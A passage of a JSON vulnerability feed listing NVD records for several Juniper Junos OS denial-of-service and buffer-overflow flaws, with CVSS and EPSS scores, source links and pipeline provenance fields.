Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102051","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00268,"percentile":0.18731,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102051&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102051","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102051","type":"primary","publishedAt":"2026-10-14T17:17:59.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102051&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102051, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102050","cveId":"CVE-2026-102050","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the l2cpd daemon of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of...","summary":"A Stack-based Buffer Overflow vulnerability in the l2cpd daemon of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service in Layer 2 control-plane processing via LLDP packets received on an interface configured for LLDP. Repeated triggering may disrupt LLDP and other Layer 2 control protocols across the device.","detail":"A Stack-based Buffer Overflow vulnerability in the l2cpd daemon of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service in Layer 2 control-plane processing via LLDP packets received on an interface configured for LLDP. Repeated triggering may disrupt LLDP and other Layer 2 control protocols across the device.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:59.737Z","updatedAt":"2026-10-16T17:17:09.643Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102050","asOf":"2026-10-16T17:17:09.643Z"},"epss":{"probability":0.00298,"percentile":0.22257,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102050&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102050","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102050","type":"primary","publishedAt":"2026-10-14T17:17:59.737Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102050&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102050, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102049","cveId":"CVE-2026-102049","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a denial of...","summary":"A Stack-based Buffer Overflow vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a denial of service or execute arbitrary code with root privileges via LLDP traffic received on an interface with Unified Access Policy enabled.","detail":"A Stack-based Buffer Overflow vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a denial of service or execute arbitrary code with root privileges via LLDP traffic received on an interface with Unified Access Policy enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:59.560Z","updatedAt":"2026-10-16T15:17:00.873Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102049","asOf":"2026-10-16T15:17:00.873Z"},"epss":{"probability":0.0034,"percentile":0.27188,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102049&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102049","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102049","type":"primary","publishedAt":"2026-10-14T17:17:59.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102049&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102049, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102048","cveId":"CVE-2026-102048","aliases":[],"kind":"vulnerability","title":"An Allocation of Resources Without Limits or Throttling vulnerability in the l2cpd process of Juniper Networks Junos OS allows an adjacent unauthenticated attacker to cause a...","summary":"An Allocation of Resources Without Limits or Throttling vulnerability in the l2cpd process of Juniper Networks Junos OS allows an adjacent unauthenticated attacker to cause a denial of service and l2cpd restart via FNP-enabled Layer 2 interfaces. The issue is triggered when the FNP feature is enabled on a VPLS routing instance with VLAN-VPLS encapsulation enabled.\n\nThis issue affects all platforms except the PTX Series and SRX Series.","detail":"An Allocation of Resources Without Limits or Throttling vulnerability in the l2cpd process of Juniper Networks Junos OS allows an adjacent unauthenticated attacker to cause a denial of service and l2cpd restart via FNP-enabled Layer 2 interfaces. The issue is triggered when the FNP feature is enabled on a VPLS routing instance with VLAN-VPLS encapsulation enabled.\n\nThis issue affects all platforms except the PTX Series and SRX Series.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:59.397Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102048","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00268,"percentile":0.18764,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102048&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102048","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102048","type":"primary","publishedAt":"2026-10-14T17:17:59.397Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102048&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102048, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102047","cveId":"CVE-2026-102047","aliases":[],"kind":"vulnerability","title":"An Improper Validation of Consistency within Input vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated Layer 2...","summary":"An Improper Validation of Consistency within Input vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated Layer 2 attacker to cause a denial of service in associated Layer 2 control protocols via a crafted MVRP Ethernet frame sent to an MVRP-enabled interface.","detail":"An Improper Validation of Consistency within Input vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated Layer 2 attacker to cause a denial of service in associated Layer 2 control protocols via a crafted MVRP Ethernet frame sent to an MVRP-enabled interface.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:59.237Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102047","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18853,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102047&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102047","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102047","type":"primary","publishedAt":"2026-10-14T17:17:59.237Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102047&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102047, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102046","cveId":"CVE-2026-102046","aliases":[],"kind":"vulnerability","title":"A Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in netsctp.ko of Juniper Networks Junos OS on MX Series allows an unauthenticated network attacker to cause...","summary":"A Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in netsctp.ko of Juniper Networks Junos OS on MX Series allows an unauthenticated network attacker to cause a denial of service via crafted SCTP network traffic.","detail":"A Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in netsctp.ko of Juniper Networks Junos OS on MX Series allows an unauthenticated network attacker to cause a denial of service via crafted SCTP network traffic.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:59.093Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102046","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.0048,"percentile":0.41122,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102046&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102046","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102046","type":"primary","publishedAt":"2026-10-14T17:17:59.093Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102046&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102046, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102045","cveId":"CVE-2026-102045","aliases":[],"kind":"vulnerability","title":"An Out-of-bounds Write Out-of-bounds Write vulnerability in lacpd of Juniper Networks Junos OS Evolved allows a Layer-2-adjacent attacker to cause a denial of service via a...","summary":"An Out-of-bounds Write Out-of-bounds Write vulnerability in lacpd of Juniper Networks Junos OS Evolved allows a Layer-2-adjacent attacker to cause a denial of service via a crafted frame received on an LACP-enabled aggregated-Ethernet member port.","detail":"An Out-of-bounds Write Out-of-bounds Write vulnerability in lacpd of Juniper Networks Junos OS Evolved allows a Layer-2-adjacent attacker to cause a denial of service via a crafted frame received on an LACP-enabled aggregated-Ethernet member port.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:58.953Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102045","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18881,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102045&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102045","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102045","type":"primary","publishedAt":"2026-10-14T17:17:58.953Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102045&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102045, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102044","cveId":"CVE-2026-102044","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP-LS peer to cause a denial of service via a BGP-LS...","summary":"A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP-LS peer to cause a denial of service via a BGP-LS update.","detail":"A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP-LS peer to cause a denial of service via a BGP-LS update.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:58.797Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102044","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00461,"percentile":0.39659,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102044&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102044","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102044","type":"primary","publishedAt":"2026-10-14T17:17:58.797Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102044&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102044, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102043","cveId":"CVE-2026-102043","aliases":[],"kind":"vulnerability","title":"A Numeric Truncation Error vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to crash the routing process via MPLS-TE...","summary":"A Numeric Truncation Error vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to crash the routing process via MPLS-TE fast-reroute signaling.","detail":"A Numeric Truncation Error vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to crash the routing process via MPLS-TE fast-reroute signaling.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:58.640Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102043","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18883,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102043&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102043","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102043","type":"primary","publishedAt":"2026-10-14T17:17:58.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102043&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102043, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102042","cveId":"CVE-2026-102042","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to crash the routing process via RSVP-TE...","summary":"A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to crash the routing process via RSVP-TE associated-bidirectional LSP signaling.","detail":"A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to crash the routing process via RSVP-TE associated-bidirectional LSP signaling.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:58.483Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102042","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.1888,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102042&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102042","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102042","type":"primary","publishedAt":"2026-10-14T17:17:58.483Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102042&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102042, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102041","cveId":"CVE-2026-102041","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated network attacker to cause a...","summary":"A Reachable Assertion vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated network attacker to cause a denial of service via malformed RSVP signaling when RSVP is enabled.","detail":"A Reachable Assertion vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated network attacker to cause a denial of service via malformed RSVP signaling when RSVP is enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:58.333Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper 